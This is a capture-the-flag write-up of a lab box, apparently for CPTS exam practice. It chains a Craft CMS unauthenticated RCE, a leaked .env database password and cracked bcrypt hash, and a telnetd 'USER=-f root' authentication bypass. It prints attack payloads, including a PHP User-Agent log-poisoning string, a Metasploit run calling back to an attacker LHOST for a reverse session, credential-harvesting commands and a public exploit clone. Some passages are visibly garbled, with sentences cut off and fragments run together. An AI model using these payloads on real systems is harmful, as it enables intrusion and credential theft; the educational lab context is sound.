Orion is rated Very Easy, and the underlying vulnerabilities live up to that billing — an unauthenticated preauth RCE in Craft CMS, followed by a default env file leaking DB creds, followed by a genuinely comical authentication bypass in telnetd where the fix is quite literally "don't pass attacker input as a command-line flag." What made this one take longer than it should have wasn't the difficulty of the vulnerabilities — it was burning through three different community proof-of-concept scripts before landing on a version that actually worked cleanly.
sudo nmap -sV -sC -p- --min-rate 5000 <target>
Only two ports externally: SSH (22) and HTTP (80), the latter serving a
corporate telecom site with an X-Powered-By: Craft CMS header. The
control panel footer confirmed the exact build:
Craft CMS 5.6.16
Craft's AssetsController::actionGenerateTransform action is registered
as allowAnonymous, so it's reachable with zero authentication. It accepts
a handle parameter that gets spread directly into a
Craft::createObject() config array:
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
Because $handle is attacker-controlled, an array key beginning with
"as " gets picked up by yii\base\Component::__set() as a behavior
attachment — which calls Yii::createObject() on the attacker-supplied
value before any type check on unpatched Yii2 versions (<= 2.0.49).
Pointing that at yii\rbac\PhpManager with a controlled itemFile is
the whole game: PhpManager::init() calls require $this->itemFile, and
PHP will happily execute any <?php ... ?> block inside whatever file
that path points to.
The most reliable sink for this on a fresh install is the nginx
access.log: since it logs the request's User-Agent verbatim, sending
a request with User-Agent: <?php system('id'); exit; ?> plants a live
PHP payload at a predictable, always-writable path
(/var/log/nginx/access.log), which the gadget chain then requires.
exec($_GET['cmd']) without ever echoing the return value — PHP's exec() returns silently, so even a successful hit produced no visible output.unquote() the entire outgoing URL to preserve raw PHP tags in one request — but this also corrupted URL-encoding on a second, unrelated request, mangling special characters in the command payload./tmp/sess_<SessionID>) instead of an actual interpolated session ID — the gadget was pointed at a file that could never exist.exploit/linux/http/craftcms_preauth_rce_cve_2025_32432)
worked cleanly on the first attempt. When a public script exhibits inconsistent,
hard-to-diagnose failures, check for a maintained framework module before
sinking further time into patching someone else's proof-of-concept.
msfconsole -q search craftcms use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 set RHOSTS orion.htb set RPORT 80 set LHOST <attacker_ip> set LPORT 4444 run
Landed a Meterpreter session as www-data.
Craft's default environment file was sitting in its usual spot with live, unredacted credentials:
find / -name ".env" 2>/dev/null | grep -i craft cat /var/www/html/craft/.env
CRAFT_DB_USER=root CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
That password didn't work directly for SSH against the box's one real
user (adam) — a reminder that app-level DB credentials and system
account passwords aren't always the same thing, even when reuse is a
running theme across a session. Following the actual intended path: the
DB credentials did grant access to the database itself, which contained
Craft's own users table with a bcrypt password hash for the admin
account (adam@orion.htb):
mysql -u root -p'SuperSecureCraft123Pass!' -h 127.0.0.1 orion \ -e "SELECT username, email, password FROM users;"
That hash cracked in seconds against rockyou:
john --wordlist=/usr/share/wordlists/rockyou.txt adam_hash.txt # darkangel
ssh adam@orion.htb
User flag secured.
A quick look at listening services from inside the box turned up telnetd bound to localhost only:
ss -tlnp # 127.0.0.1:23 LISTEN
CVE-2026-24061 affects GNU InetUtils telnetd versions 1.9.3 through 2.7 —
an authentication bypass that had apparently sat undiscovered in the
codebase for roughly eleven years before disclosure. The root cause is
almost absurdly simple: telnetd accepts a USER environment variable from
the client during the TELNET protocol's NEW-ENVIRON option negotiation
(RFC 1572), and passes that value unsanitized straight into the
argument list used to invoke the system login program.
USER=-f root during negotiation causes telnetd to literally
execute login -f root. The -f flag tells login to skip password
verification entirely, on the assumption the caller has already
pre-authenticated the user through some other means. telnetd never checks
whether its own input could itself be a flag — a textbook argument
injection vulnerability, and a stark reminder that any value crossing a
trust boundary into a command's argv needs to be validated as data, never
trusted as already-safe.
Since telnetd is bound to 127.0.0.1 only, exploitation requires either
running the PoC directly on the box, or tunneling the port back to the
attacker machine:
# from the attacker machine ssh -L 2323:127.0.0.1:23 adam@orion.htb # in a separate terminal git clone https://github.com/balgan/CVE-2026-24061.git cd CVE-2026-24061 python3 exploit.py 127.0.0.1 2323
The exploit negotiates the NEW-ENVIRON option, supplies the malicious
USER=-f root value, and the daemon spawns login -f root — no
credentials, no prompt, straight to a root shell.
root@orion:~# cat /root/root.txt
[root flag captured ✅]
Craft::createObject() spread → yii\rbac\PhpManager gadget → nginx access.log poisoning → RCE as www-data.env file leaks live database credentialsusers table, yielding a bcrypt hash for the site's admin accountUSER environment variable unsanitized into login's argv — sending USER=-f root executes login -f root, bypassing authentication entirely for an instant root shellX-Powered-By headers matter — knowing the exact patch level (5.6.16 vs. 5.6.17) is the difference between "definitely vulnerable" and "definitely wasting an afternoon."127.0.0.1 is not inherently safe — it just narrows the attacker's required foothold from "network access" to "any local access," which a foothold shell provides for free.Scarif Operations | th3m4dh4ck3r.com | CPTS prep, Season 11